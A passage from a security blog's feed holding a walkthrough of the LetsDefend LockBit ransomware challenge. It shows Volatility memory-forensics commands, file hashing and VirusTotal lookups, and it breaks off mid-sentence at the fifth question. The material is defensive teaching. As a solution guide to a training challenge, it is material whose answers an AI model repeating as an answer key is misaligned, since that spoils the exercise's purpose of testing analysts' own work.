&gt;https://attack.mitre.org/techniques/T1550/002/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — LockBit Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/</link>
            <pubDate>Mon, 11 Nov 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — LockBit Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--lockbit-challenge-walkthrough&#34;&gt;LetsDefend — LockBit Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-memory-forensic-investigation-with-volatility3-volatility2-and-virustotal&#34;&gt;A Memory Forensic Investigation with Volatility3, Volatility2, and VirusTotal&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/lockbit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LockBit Challenge&lt;/strong&gt;&lt;/a&gt; from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Prepare to be thrown right into the world of digital forensics and incident response (DFIR).&lt;/p&gt;&#xA;&lt;p&gt;A victim&amp;rsquo;s device has been compromised with &lt;em&gt;ransomware&lt;/em&gt; and all their files have been encrypted — now the attacker is demanding payment! Our objective is to dissect a memory dump of the infected device, provide an analysis of the attack, and understand our options. To accomplish this mission, we&amp;rsquo;ll leverage &lt;strong&gt;&lt;em&gt;Volatility3, Volatility2,&lt;/em&gt;&lt;/strong&gt; and &lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt; to hunt for the malware process, determine what &lt;em&gt;ransomware&lt;/em&gt; family it&amp;rsquo;s part of, scour &lt;em&gt;VirusTotal&lt;/em&gt; to detail its behavior, and uncover how the malware elevates privileges and stays persistent on the system.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And hey, if you find this walkthrough helpful — whether it levels-up your skills, gets you through a stumbling block, or serves as a handy reference — please &lt;strong&gt;give it a clap&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/lockbit&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/lockbit&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are a Digital Forensics and Incident Response (DFIR) analyst tasked with investigating a ransomware attack that has affected a company&amp;rsquo;s system. The attack has resulted in file encryption, and the attackers are demanding payment for the decryption of the affected files. You have been given a memory dump of the affected system to analyze and provide answers to specific questions related to the attack.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-can-you-determine-the-date-and-time-that-the-device-was-infected-with-the-malware-utc-format-yyyy-mm-dd-hhmmss&#34;&gt;Question 1: Can you determine the date and time that the device was infected with the malware? (UTC, format: YYYY-MM-DD hh:mm:ss)&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by extracting the &lt;em&gt;ChallengeFile&lt;/em&gt; containing the memory dump of the victim&amp;rsquo;s system, &lt;em&gt;Lockbit.vmem&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To analyze the contents of this file we&amp;rsquo;ll use &lt;em&gt;Volatility,&lt;/em&gt; a popular memory forensics tool. There are a couple of versions of &lt;em&gt;Volatility: Volatility 2.6&lt;/em&gt; (the original, no longer in active development) and the latest, &lt;em&gt;Volatility3&lt;/em&gt; (in active development.) They are a little different but for this challenge, we&amp;rsquo;ll start with &lt;em&gt;Volatility3&lt;/em&gt; but (&lt;strong&gt;&lt;em&gt;spoilers&lt;/em&gt;&lt;/strong&gt;) we will also have to use &lt;em&gt;Volatility2&lt;/em&gt; to solve &lt;strong&gt;Question 4.&lt;/strong&gt; Don&amp;rsquo;t worry, I&amp;rsquo;ll note which version to use since the commands will change, too.&lt;/p&gt;&#xA;&lt;p&gt;Finally, before we dive into &lt;em&gt;Volatility3&lt;/em&gt;, let&amp;rsquo;s get familiar with the command to show the &lt;em&gt;Volatility3&lt;/em&gt; manual pages. This is handy way to see what plugins are available for use:&lt;/p&gt;&#xA;&lt;p&gt;vol -h&lt;/p&gt;&#xA;&lt;p&gt;Now, let&amp;rsquo;s get started hunting for the malware process. To identify the malicious process, the first step is to understand what processes were running on the victim&amp;rsquo;s system during the incident when the dump was taken. We&amp;rsquo;ll accomplish this by leveraging &lt;em&gt;Volatility&amp;rsquo;s&lt;/em&gt; &lt;code&gt;[windows.pslist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#pslist)&lt;/code&gt; plugin to scan the image and list the running processes on the system using the syntax below:&lt;/p&gt;&#xA;&lt;p&gt;vol -f Lockbit.vmem windows.pslist&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;629px&#34; data-flex-grow=&#34;262&#34; height=&#34;305&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/2403fe3b231fd14f2880371a88c22664_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s go out on a limb and assume that the obvious one called &lt;em&gt;mal.exe&lt;/em&gt; is the process we are looking for. From there, we just need to grab the timestamp from the &lt;em&gt;CreateTime&lt;/em&gt; column to determine when the device was infected.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/bd6c3fe15f95de51ae82175b87a4f652_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-name-of-the-ransomware-family-responsible-for-theattack&#34;&gt;Question 2: What is the name of the ransomware family responsible for the attack?&#xA;&lt;/h3&gt;&lt;p&gt;To identify the &lt;strong&gt;&lt;em&gt;ransomware&lt;/em&gt;&lt;/strong&gt; family, we first need to obtain the &lt;em&gt;file hash&lt;/em&gt; of the malware&amp;rsquo;s executable by first extracting the process from the memory dump. We can do this by using &lt;em&gt;Volatility3&amp;rsquo;s&lt;/em&gt; &lt;code&gt;[windows.dumpfiles](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dumpfiles)&lt;/code&gt; plugin to dump file contents from the image. Use the syntax below, specifying an output directory for the dump, and the &lt;em&gt;process ID&lt;/em&gt; (&lt;em&gt;PID&lt;/em&gt;) of the &lt;em&gt;mal.exe&lt;/em&gt; process we found in &lt;strong&gt;Question 1.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol -f Lockbit.vmem -o &lt;YOUR OUTPUT DIRECTORY&gt; windows.dumpfiles &amp;ndash;pid 900&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;822px&#34; data-flex-grow=&#34;342&#34; height=&#34;350&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/51aa8b461c8dae0c895c26ec1092b326_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/51aa8b461c8dae0c895c26ec1092b326_MD5_hu_7aa21e26473c941d.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/51aa8b461c8dae0c895c26ec1092b326_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This will give us two separate output files: a &lt;em&gt;.dat&lt;/em&gt; and a &lt;em&gt;.img.&lt;/em&gt; I&amp;rsquo;ll put the results for both below, but for this example let&amp;rsquo;s run a &lt;em&gt;SHA256&lt;/em&gt; hash calculation on the extracted &lt;em&gt;.img&lt;/em&gt; file right from the &lt;em&gt;terminal&lt;/em&gt;. Then, we&amp;rsquo;ll submit the hashes to &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt; to check if there are any hits.&lt;/p&gt;&#xA;&lt;p&gt;sha256sum file.0xfa801bfe5320.0xfa801c116990.ImageSectionObject.mal.exe.img&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;IMG File — VirusTotal Report:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/5988e75518b2f365671dc49da18b5a70274351721f1f3a8f8f7bf32984e4024c&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;sha256sum file.0xfa801bfe5320.0xfa801bde2b10.DataSectionObject.mal.exe.dat&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;DAT File — VirusTotal Report:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/cea3e8a3e541ae4c928c3cd33f6772f1a69746393ac1a5c4575379a09a92d1e1&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;After receiving the report for the &lt;em&gt;.img&lt;/em&gt; file, the sample has previously been analyzed by &lt;em&gt;VirusTotal&lt;/em&gt; and is detected as malicious by most scanning engines on the platform. What we are most interested in is the &lt;em&gt;Family labels&lt;/em&gt; tag where we&amp;rsquo;ll see that the malware is part of the &lt;strong&gt;&lt;em&gt;Lockbit&lt;/em&gt;&lt;/strong&gt; ransomware family.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;918px&#34; data-flex-grow=&#34;382&#34; height=&#34;209&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/3822b7706a10ba34ea1b48ac06df3706_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/a2d69d6dadcd15d1a482bcc02adc024d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-file-extension-is-appended-to-the-encrypted-files-by-the-ransomware&#34;&gt;Question 3: What file extension is appended to the encrypted files by the ransomware?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s continue using the &lt;em&gt;VirusTotal&lt;/em&gt; report to see what else we can learn about the malware_._ The next stop is to check the &lt;strong&gt;&lt;em&gt;Behavior &amp;gt; File System Action&lt;/em&gt;&lt;/strong&gt; tab.&lt;/p&gt;&#xA;&lt;p&gt;In this area, we can check the &lt;em&gt;Files Written&lt;/em&gt; by the malware to determine what extension it&amp;rsquo;s adding to the files it encrypts. For this sample, we can see that the &lt;em&gt;ransomware&lt;/em&gt; appends the &lt;em&gt;.lockbit&lt;/em&gt; extension to the encrypted files:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;214px&#34; data-flex-grow=&#34;89&#34; height=&#34;657&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/76c13568fbeedfac99d2503f206ab4e0_MD5.png&#34; width=&#34;588&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To confirm we see the same behavior, let&amp;rsquo;s jump back into &lt;em&gt;Volatility3&lt;/em&gt; and search the victim&amp;rsquo;s image for anything similar with the &lt;code&gt;[windows.filescan](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#filescan)&lt;/code&gt; plugin which can search for file objects. To make this easier, we can _grep&amp;quot;.lockbit&amp;quot;to narrow down the results.&lt;/p&gt;&#xA;&lt;p&gt;vol -f Lockbit.vmem windows.filescan | grep -i &amp;ldquo;.lockbit&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;568px&#34; data-flex-grow=&#34;236&#34; height=&#34;338&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/16f3e930163930799c78f0b31fd8113c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;While this is just a small sampling of the files with this extension, it&amp;rsquo;s enough to confirm that we have found the correct answer to &lt;strong&gt;Question 3&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2042px&#34; data-flex-grow=&#34;851&#34; height=&#34;94&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/d72428fafc85e306356f15f65eeb3750_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-tlsh-trend-micro-locality-sensitive-hash-of-the-ransomware&#34;&gt;Question 4: What is the TLSH (Trend Micro Locality Sensitive Hash) of the ransomware?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 4&lt;/strong&gt;, we need to find the &lt;strong&gt;&lt;em&gt;Trend Micro Locality Sensitive Hash&lt;/em&gt;&lt;/strong&gt; (&lt;em&gt;TLSH&lt;/em&gt;) of the &lt;em&gt;ransomware&lt;/em&gt; binary. &lt;em&gt;TLSH&lt;/em&gt; is not a term I&amp;rsquo;m familiar with, so let&amp;rsquo;s do some &lt;em&gt;Google&lt;/em&gt; research. We&amp;rsquo;ll find that &lt;a class=&#34;link&#34; href=&#34;https://www.trendmicro.com/en_us/research/17/c/smart-whitelisting-using-locality-sensitive-hashing.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;according to &lt;em&gt;Trend Micro&lt;/em&gt;&lt;/a&gt;&lt;em&gt;,&lt;/em&gt; a &lt;em&gt;TLSH&lt;/em&gt; is:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;a kind of fuzzy hashing that can be employed in machine learning extensions of whitelisting. TLSH can generate hash values which can then be analyzed for similarities. TLSH helps determine if the file is safe to be run on the system based on its similarity to known, legitimate files.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Put another way a &lt;em&gt;TLSH&lt;/em&gt; can be used to detect similarities between objects in data even if the content is not identical. So similar pieces of malware would have similar a &lt;em&gt;TLSH&lt;/em&gt;. But how do we determine the &lt;em&gt;TLSH&lt;/em&gt; of the &lt;em&gt;.img&lt;/em&gt; file we submitted to &lt;em&gt;VirusTotal?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Handily_, VirusTotal_ already calculates the &lt;em&gt;TLSH&lt;/em&gt; upon submission so we can simply refer back to the &lt;strong&gt;Details &amp;gt; Basic Properties&lt;/strong&gt; tab on the &lt;em&gt;VirusTotal&lt;/em&gt; report. Easy enough!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;857px&#34; data-flex-grow=&#34;357&#34; height=&#34;224&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/985abea07a25a38683a44b711d51f3f5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or so I thought&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve run into a problem: the &lt;em&gt;TLSH&lt;/em&gt; reported from the two files (&lt;em&gt;.img &amp;amp;&lt;/em&gt; &lt;em&gt;.dat&lt;/em&gt;&lt;strong&gt;&lt;em&gt;)&lt;/em&gt;&lt;/strong&gt; that we dumped in &lt;strong&gt;Question 2&lt;/strong&gt; do not work to solve the question.&lt;/p&gt;&#xA;&lt;p&gt;For some hindsight: Next, I tried dumping the process by using the &lt;code&gt;[windows.memmap](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#memdump)&lt;/code&gt; and &lt;code&gt;[windows.dlllist](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#dlllist)&lt;/code&gt; plugins, and while I got some different &lt;em&gt;SHA256&lt;/em&gt; hashes to submit, none matched what the question was looking for. So, after stumbling around researching on &lt;em&gt;Google,&lt;/em&gt; I finally found the following issue on the &lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Volatility3 GitHub&lt;/em&gt;&lt;/a&gt; with this comment:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;  title=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;procdump produced files have different checksums from volatility 2 · Issue #160 ·&amp;hellip;&lt;/strong&gt;&#xA;_It differs when you view the hash value of the same file. Is the procdump of ver 2 and 3 different? in this page&amp;rsquo;s&amp;hellip;_github.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://github.com/volatilityfoundation/volatility3/issues/160&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This is because the volatility3 &lt;code&gt;procdump&lt;/code&gt; plugin currently outputs files as if they had been dumped by volatility2 with &lt;code&gt;--memory&lt;/code&gt; (ie, it&amp;rsquo;s dumping the memory image, not the reconstructed PE file)&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Ah-ha! Since there are differences in how the process dump works between the two versions of &lt;em&gt;Volatility&lt;/em&gt;. Let&amp;rsquo;s switch to &lt;em&gt;Volatility2,&lt;/em&gt; dump the process again, and compare the output.&lt;/p&gt;&#xA;&lt;p&gt;In &lt;em&gt;Volatility2&lt;/em&gt;, we first must determine what OS image profile is needed — notice that we are using &lt;em&gt;vol.py&lt;/em&gt; now on the analysis environment to launch &lt;em&gt;Volatility2.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f Lockbit.vmem imageinfo&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1339px&#34; data-flex-grow=&#34;558&#34; height=&#34;215&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/3662a3dc27b46d3acf8242518447a7b0_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/3662a3dc27b46d3acf8242518447a7b0_MD5_hu_c4045f93018c63a7.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/3662a3dc27b46d3acf8242518447a7b0_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once we find the correct profile, let&amp;rsquo;s try dumping the &lt;em&gt;mal.exe&lt;/em&gt; process again using the &lt;code&gt;[procdump](https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#procdump)&lt;/code&gt; plugin:&lt;/p&gt;&#xA;&lt;p&gt;vol.py -f Lockbit.vmem &amp;ndash;profile=Win7SP1x64 procdump &amp;ndash;pid=900 &amp;ndash;dump-dir=YOUR-OUTPUT-DIRECTORY&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;3555px&#34; data-flex-grow=&#34;1481&#34; height=&#34;81&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/f4c616541887d9418c13424b5387870e_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/f4c616541887d9418c13424b5387870e_MD5_hu_9f0f533be135298f.png 800w, https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/f4c616541887d9418c13424b5387870e_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This time, &lt;em&gt;Volatility2&lt;/em&gt; dumps one reconstructed binary instead of the two separate &lt;em&gt;.img&lt;/em&gt; and &lt;em&gt;.dat&lt;/em&gt; files. Let&amp;rsquo;s submit the new file (&lt;em&gt;executable.900.exe)&lt;/em&gt; to &lt;em&gt;VirusTotal&lt;/em&gt; and see if this changes the resulting &lt;em&gt;TLSH:&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EXE File — VirusTotal Report:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;  title=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/strong&gt;&#xA;VirusTotalwww.virustotal.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/19ca5aa4cd62929afb255d2b38e70fd3143e3b181889e84348a5c896e577d708&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;472px&#34; data-flex-grow=&#34;197&#34; height=&#34;406&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/dab5c97b228f4b3de5d25515b1a47489_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bingo! By switching from &lt;em&gt;Volatility3&lt;/em&gt; to &lt;em&gt;Volatility2&lt;/em&gt; to run the process dump, we&amp;rsquo;ve located the correct &lt;em&gt;VirusTotal&lt;/em&gt; report and corresponding &lt;em&gt;TLSH!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1548px&#34; data-flex-grow=&#34;645&#34; height=&#34;124&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/e554fd1ea1bd1db2899226dec3baa707_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-which-mitre-attck-technique-id-was-used-by-the-ransomware-to-perform-privilege-escalation&#34;&gt;Question 5: Which MITRE ATT&amp;amp;CK technique ID was used by the ransomware to perform privilege escalation?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we have a new &lt;em&gt;VirusTotal&lt;/em&gt; report to review, let&amp;rsquo;s analyze its behavior, focusing on the &lt;strong&gt;&lt;em&gt;Behaviors&lt;/em&gt;&lt;/strong&gt; &amp;gt; &lt;strong&gt;&lt;em&gt;MITRE ATT&amp;amp;CK Tactics and Techniques&lt;/em&gt;&lt;/strong&gt; section. We&amp;rsquo;re looking for &lt;em&gt;privilege escalation&lt;/em&gt; techniques, so expand the &lt;em&gt;privilege escalation&lt;/em&gt; header to see all the observed tactics and techniques used by the malware:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;517px&#34; data-flex-grow=&#34;215&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/d50ad3d647492764b5c478d8c1401185_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal Behaviors &amp;gt; MITRE ATT&amp;amp;CK Tactics and Techniques&lt;/p&gt;&#xA;&lt;p&gt;At this point in our analysis, we could be searching for any of the listed techniques to answer &lt;strong&gt;Question 5.&lt;/strong&gt; To narrow it down further, check the next section, &lt;strong&gt;&lt;em&gt;Malware Behavior Catalog Tree&lt;/em&gt;&lt;/strong&gt;&lt;em&gt;,&lt;/em&gt; focusing again on the &lt;em&gt;Privilege Escalation&lt;/em&gt; behaviors.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;545px&#34; data-flex-grow=&#34;227&#34; height=&#34;352&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-lockbit-challenge-walkthrough/8c10ba9e19e6900adab6636f59baab50_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;VirusTotal Behaviors &amp;gt; Malware Behavior Catalog Tree&lt;/p&gt;&#xA;&lt;p&gt;Comparing the two sections we do see some overlap in the listed techniques. Since the question is asking (and only has room for) the &lt;em&gt;technique 